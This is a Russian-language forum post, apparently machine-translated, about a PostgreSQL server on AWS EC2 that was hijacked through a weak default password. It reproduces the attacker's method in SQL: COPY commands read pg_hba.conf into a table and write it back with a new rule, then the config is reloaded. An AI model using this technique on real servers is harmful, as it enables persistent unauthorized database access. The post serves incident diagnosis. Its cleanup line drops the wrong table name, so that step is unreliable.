У меня такая же проблема. Это взломать То же самое описано здесь:
https://dba.stackexchange.com/questions/215834/postgres-9-6-10-pg-hba-conf-altered
Я получил нового администратора postgres "pgdbadm", которого невозможно удалить, поскольку от него зависели 3 объекта в базе данных template1. После восстановления базы данных template1 из template0 мне удалось удалить пользователя.
В верхней части файла pg_hba.conf появилось два новых правила:
host all postgres 0.0.0.0/0 reject
host all pgdbadm 0.0.0.0/0 md5
Остальная часть файла была такой же.
Мне удалось воспроизвести хак без доступа к оболочке, выполнив в pgAdmin 4 следующее:
-- creating a new table
create table test(a text);
-- inserting the contents of pg_hba.conf into the table
copy test from '/var/lib/pgsql/data/pg_hba.conf';
-- overwriting the pg_hba.conf file with the contents from the table prepended with one random rule (just to test it)
copy (select 'host all all 127.0.0.1/32 md5' union all select * from test) TO '/var/lib/pgsql/data/pg_hba.conf';
-- cleanup
drop table a;
-- reloading the server config
select pg_reload_conf();
Конечно, это было возможно только потому, что postgres был настроен на экземпляре AWS EC2 с открытыми всеми портами, пользователем по умолчанию postgres, портом по умолчанию, глупым паролем, который легко угадать: «asd123». Журналы безопасности в экземпляре были полны попыток подключиться к различным портам, с разными именами пользователей и т. Д., Поэтому, скорее всего, это была случайная атака.